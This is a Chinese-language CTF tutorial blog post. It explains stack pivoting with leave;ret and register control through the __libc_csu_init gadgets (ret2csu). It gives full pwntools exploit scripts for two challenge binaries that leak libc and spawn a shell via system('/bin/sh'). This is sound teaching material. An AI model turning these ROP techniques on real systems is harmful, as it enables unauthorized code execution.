ret2csu及栈迁移的运用

1:栈迁移

本质就是因为写入的长度有限,所以先把payload写入一个区域(bss,原栈,libc等)然后控制栈顶指针寄存器指向那个区域进而执行命令。

原理:

首先要了解函数调用栈,这个我后面应该也会写,顺便把图补上,这次先不画图了....,已知我们的

leave == mov esp,ebp; pop ebp;
ret == pop eip

所以说leave指令就是把ebp的值赋给esp,从而使esp指向ebp所在的地址,然后pop这个地址上的值赋给ebp,而ret指令就是从栈顶弹出一个值赋给eip然后跳转到这个地方去指向相关代码。那么这又该如何控制esp呢?答案是:再leave ret一次就可以了,我们只需要把原ebp的值改为我们想去的地址,然后返回地址填上leave ret这个gadget的地址就可以了。因为在第一次leave后esp回到ebp的地方,然后pop ebp就会把我们想去的地址赋给ebp,从而控制ebp指向我们想去的地方,然后ret就会执行第二个leave ret;接下来的第二次leave就会把我们的esp指回我们的ebp从而控制esp,然后接下来的ret就会执行我们的payload。
利用条件:由上述原理不难看出,栈迁移的利用条件就是一般要有0x10的溢出去覆盖我们的rbp与返回地址(32位则为0x8)

例题:BaseCTF2024新生赛的stack_in_stack

首先先checksecimage-20251227010946107
这里开了影子栈和ibt保护,不能用传统rop链了更正,这里实际上没有开这两种保护还是可以正常返回和用rop链的,并且栈迁移应该也不能绕过这两个保护
然后放ida看看image-20251227012225122
我们可以看到这里泄露了buf局部变量的地址,同时我们也能溢出0x10满足栈迁移的条件,但由于没有控制rdi的gadget所以我们还没那么快写完,再找找其他函数。
最终我们可以找到这个函数
image-20251227012253473
这个函数非常直白,打印出了puts的地址,那这个题就很简单了,我们只需要把payload放在我们局部变量buf中(就是用真正的payload填充buf,通过栈迁移控制rsp返回buf进而执行payload)
第一步泄露的代码如下

from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 1
if flag:
   p = remote('challenge.imxbt.cn',30250)
else:
   p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():
   gdb.attach(p)
   pause()
sec=0x4011CE
main=0x401245
leave=0x4012F2
ret=0x40101a
ru(b"It looks like something fell off mick0960.\n")
buf=p.recvline().strip().decode()
buf=int(buf,16)
pay=p64(0)+p64(sec)+p64(0)+p64(ret)+p64(main)+p64(0)+p64(buf)+p64(leave)
sd(pay)

(为什么第一个值不是直接的sec的地址呢,因为leave在把rsp指向rbp之后接下来会把栈顶一个值弹出赋给rbp,所以不能把返回地址的值填在开头,为什么sec后不是直接ret也是因为那个函数最后有pop rbp,为什么有ret也是因为后面返回main的时候需要调用print函数,这个函数需要16字节对齐。)所以栈迁移的题我们要多调试,难免有奇奇怪怪的地方会卡住导致不通。
接下来我们接收到puts函数的地址后就可以打ret2libc了,就只需要记得把payload用于填充buf再栈迁移回去执行就好了,还有就是buf局部变量返回后地址是会变的,需要再接收一次。完整exp如下

from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 0
if flag:
   p = remote('challenge.imxbt.cn',30250)
else:
   p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():
   gdb.attach(p)
   pause()
sec=0x4011CE
main=0x401245
leave=0x4012F2
ret=0x40101a
ru(b"It looks like something fell off mick0960.\n")
buf=p.recvline().strip().decode()
buf=int(buf,16)
pay=p64(0)+p64(sec)+p64(0)+p64(ret)+p64(main)+p64(0)+p64(buf)+p64(leave)
sd(pay)
ru("You found the secret!\n")
puts=p.recvline().strip().decode()
puts=int(puts,16)
ru(b"It looks like something fell off mick0960.\n")
buf=p.recvline().strip().decode()
buf=int(buf,16)
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
rdi=libcbase+next(libc.search(asm('pop rdi;ret')))
print(hex(libcbase))
pay=p64(0)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(0)+p64(buf)+p64(leave)
sd(pay)
ti()
栈迁移的进阶

这里我们确实很完美的写出来了这题,但很多题目不会这么好给出局部变量的地址给我们,同样也有一些题会有两次输入,一次会往bss段写入,第二次栈迁移过去执行,这种也还是比较局限,有没有一次read就能即实现往地址的写入又能迁移的呢?答案是,有的,我们看本题read函数的汇编
AP_FSVI{00CH%BU3~KYP@W
我们可以看见,rsi会被rax赋值,rax又是我们的rbp+局部变量buf的偏移量,我们知道正常局部变量都是在低地址都是-的,这里是-0x30,也就是说我们只要控制了rbp的值就可以控制我们的rax就可以控制我们的rsi寄存器!!!而我们的rsi寄存器存储的就是read函数写入的地址!也就是说我们只要把rbp改成bss段的地址再调用read函数就可以实现往bss段的写!但这里也存在一些问题,rbp是被我填充的,返回地址我又需要调用read函数,没有第二个leave ret会无法实现栈迁移,这里我们就需要要么能再溢出8个字节(0x18)要么就是read函数在一个子函数中,这样他从子函数返回main函数再返回就相当于自带了两次leave ret,同样也只需要溢出0x10就够了。
解决了写的问题,现在我们解决执行的问题,虽然我往bss段里写入了内容,但我由于要考虑buf的偏移量通常会在bss段+一个值(以本题为例,本体buf大小为0x30就是说rax=rbp-0x30)所以我们往bss段写值时就要使bss+0x30才能写到我们想写的地方,而我们栈迁移只会迁移到bss+0x30,而不是我们开始写入的地址(bss),我们不能去写入0x30个垃圾数据,因为read的输入大小依然只有0x40,那怎么办呢?答案是,栈迁移!只要我们先输入想执行的内容,然后填充到0x30个字节,最后0x10字节用bss和leave ret填充就可以了,因为rsp会先指向bss+0x30就是我们写bss和leave ret的地方,还记得leave指令吗,当rsp指向rbp的时候接下来是pop rbp,这样我们的rbp就是我们的bss的地址了,后面一个leave就又实现了栈迁移。甚至我们可以在前0x30中利用pop rbp;ret及read函数的地址实现任意位置写。

2:ret2csu

本质就是通过特殊的csu函数去控制rdi,rsi,rdx这些寄存器,同时我们也可以利用其函数内自带的call去调用函数,或者通过call空函数来不用它那个call防止其影响我们的程序执行。

原理:

我们看以下两个函数的汇编我们可以看到image-20251227011617972
通过下面这个函数我们可以控制rbx,rbp,r12,r13,r14,r15的值,通过上面那个函数我们可以把r14的值赋给rdx,把r13的值赋给rsi,把r12的值赋给rdi(因为edi是rdi的低32位,所以这个指令的具体含义就是把r12的低32位赋给rdi的低32位,因为在这之后cup会自动清空rdi的高32位所以相当于控制了rdi)接下来就是call一个函数,函数就是通过r15来赋值(通常rbx被我们赋0)r15要为指向该函数地址的指针!我们的got表符合这种情况(因为延迟绑定机制)或者我们往bss段写一个函数的真实地址,再用写入了system函数的bss段的地址也可以。

接下来就是让rbx+1,比较rbp与rbx是否相等,如果相等则往下跳转执行,如果不相等则循环执行该函数,所以我们通常控制rbx为0,rbp为1就可以通过这个检测往下执行了,所以经过这两个函数之后我们就可以控制rdi,rsi,rdx寄存器从而去控制许多函数。注意上面的函数执行后他会继续往下执行,直到执行完下面函数的ret才返回栈读取数据,也就是说我们可以在先进入下面那个函数设置r12,r13,r14,r15的值再返回上面的函数去call相应函数,call完后我们可以在他执行回下面函数时顺便把我们要调用的第二个函数的参数写好(如果不想调用函数就随便写值也可以,不想用call调用就去call一个空函数绕过去)。

下面我们看例题

例题:PCTF2025的week3-csu?

首先还是先checksecimage-20251227012520954

然后放ida看看,这里有wrire函数image-20251227003016706
同时也没有其他的方便调用的输出函数了,而我们又没有控制rdx的gadget,所以我们打ret2csu,打csu之前建议定义个函数好打一点

def csu(rdi,rsi,rdx,got):
	pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
	return pay

这样我们就可以方便设计我们寄存器的值了,里面的参数是要看具体情况的,不一定每个csu函数都跟我这里的一样,括号里的顺序就是r12,r13,r14,r15的顺序,因为我们输入就是这样输入(pop)的,再经过上面那个函数后最终的结果就可以用这样的形参,会直观一点。接下来我们的打法就很简单了,通过先通过csu设置寄存器的值再让他callwrite函数打印自己的地址进而泄露libc基地址,然后通过read往bss段写入system函数的地址 及/bin/sh\x00字符串通过csu设置好参数即可,完整exp如下:

from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 0

if flag:
    p = remote('challenge.imxbt.cn',30250)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():
    gdb.attach(p)
    pause()
def csu(rdi,rsi,rdx,got):
	pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
	return pay
ru(b"input something:")
ret=0x40101a
write=elf.got['write']
read=elf.got['read']
rdi=0x40127b
csuin=0x40126E
csugo=0x401258
bss=0x404068
pay=40*b'b'+p64(ret)+p64(csuin)+csu(1,write,0x10,write)+p64(csugo)+csu(0,bss,0x100,read)+p64(csugo)
pay+=csu(bss+8,0,0,bss)+p64(ret)+p64(csugo)
sl(pay)
libcbase=u64(rc(6).ljust(8,b'\x00'))-libc.sym['write']
print(hex(libcbase))
system=libcbase+libc.sym['system']
pay=p64(system)+b'/bin/sh\x00'
sl(pay)
ti()
posted @ 2025-12-27 01:29  firefly_star  阅读(113)  评论(0)    收藏  举报